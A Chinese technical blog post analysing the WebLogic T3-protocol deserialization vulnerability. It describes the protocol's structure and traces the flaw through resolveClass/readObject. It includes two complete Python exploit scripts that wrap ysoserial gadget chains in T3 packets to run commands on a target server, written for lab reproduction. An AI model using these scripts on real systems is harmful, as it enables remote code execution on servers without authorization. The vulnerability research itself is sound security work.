前言
weblogic 的反序列化漏洞分为两种 ,一种是基于T3 协议的反序列化漏洞,一个是基于XML的反序列化漏洞,这篇来分析一下基于T3 协议的反序列化漏洞。
环境搭建:
[JAVA安全]weblogic反序列化介绍及环境搭建_snowlyzz的博客-CSDN博客
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
mirrors / angelwhu / ysoserial · GitCode
T3协议
RMI 通信时会将数据进行序列化后传输,同样的接收数据后反序列化进行接收,正常RMI通信使用的是JRMP协议,而在Weblogic的RMI通信中使用的是T3协议,T3是weblogic独有的一个协议,相比于JRMP多了如下协议:
- 服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
- 通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。
结构
主要包含请求头和请求主体这两部分,总共分为七个部分,第一部分是协议头,也就是请求包头,后面2-7都是请求主题(这图叠buff了):
请求包头:
T3协议在传输请求体之前都会先发送一个请求包到目标服务器,这个数据包的内容固定为:
t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001
用python 试着发包:
import requests
import socket
def T3Test(ip,port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
sock.sendall(handshake.encode())
while True:
data = sock.recv(1024)
print(data.decode())
if __name__ == "__main__":
ip = "你的公网ip"
port = 7001
T3Test(ip,port)
返回信息如下,包含了一些版本信息
这里使用wireshark抓个包,网卡选用你的电脑网卡就好了,然后进行一个过滤:
就能看到 用python发的包了。
然后在wireshark数据处右键 - 追踪流 - tcp流
能看到 在HELO后面会返回一个版本号,这就是发这个请求报头的作用
请求主体
既然 1 是请求头部分, 而请求主体就是我们的 2-7 部分,这里我们发现都是 ac ed 00 05 开头,说明该内容是序列化的内容,而如果需要去构造payload 的化,需要在后面序列化的,进行一个替换。将原本存在的序列化内容替换成我们payload 的序列化内容,在传输完成后,进行反序列化达成攻击的目的,这里借用其他师傅的图
这里提供两种攻击思路:
第一种生成方式为,将weblogic发送的JAVA序列化数据的第二到七部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
第二种生成方式为,将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。
漏洞复现
根据网上的exp
import socket
import sys
import struct
import re
import subprocess
import binascii
def get_payload1(gadget, command):
JAR_FILE = './ysoserial.jar'
popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
return popen.stdout.read()
def get_payload2(path):
with open(path, "rb") as f:
return f.read()
def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)
data = sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return
print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
sock.send(payload)
if __name__ == "__main__":
host = "192.168.__.__"
port = 7001
gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
command = "touch /tmp/success"
payload = get_payload1(gadget, command)
exp(host, port, payload)
from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii
def generatePayload(gadget,cmd):
YSO_PATH = "ysoserial.jar"
popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
return popen.stdout.read()
def T3Exploit(ip,port,payload):
sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip,port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: "+"".join(match))
else:
print("Not Weblogic")
#return
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3header +desflag+ payload
payload = struct.pack(">I",len(payload)) + payload[4:]
sock.send(payload)
if __name__ == "__main__":
ip = "192.168.__.__"
port = 7001
gadget = "CommonsCollections1"
cmd = "touch /tmp/success"
payload = generatePayload(gadget,cmd)
T3Exploit(ip,port,payload)
运行后
漏洞分析
来到入口处:
wlserver\server\lib\wlthint3client.jar!\weblogic\rjvm\InboundMsgAbbrev.class
调用了内部类 InboundMsgAbbrev.ServerChannelInputStream 的 readObject
方法
跟进查看一下 ServerChannelInputStream
。
这个内部类继承了 ObjectInputStream 重写了 resolveClass 方法 但是没有重写 readObject 方法,那么调用 本类的 ServerChannelInputStream#readObject 方法,实际上就是调用 ObjectInputStream#readObject 方法,并且这里的 ObjectInputStream#readObject 方法解析处理了我们经过 T3 协议 传递过来的数据且反序列化,从而造成了 命令执行
这里resolveClass
,这里进入到父类的resolveClass
resolveClass是执行ObjectInputStream.readObject()前必经的一个方法,就是说在反序列化过程中,序列化的数据都会从resolveClass这个方法中经过一次,那如果这里再提到如何防护的话,我们很容易能想到在这里添加过滤,没错,在后面的cve都是在这里不断地绕过相应的白名单黑名单而产生的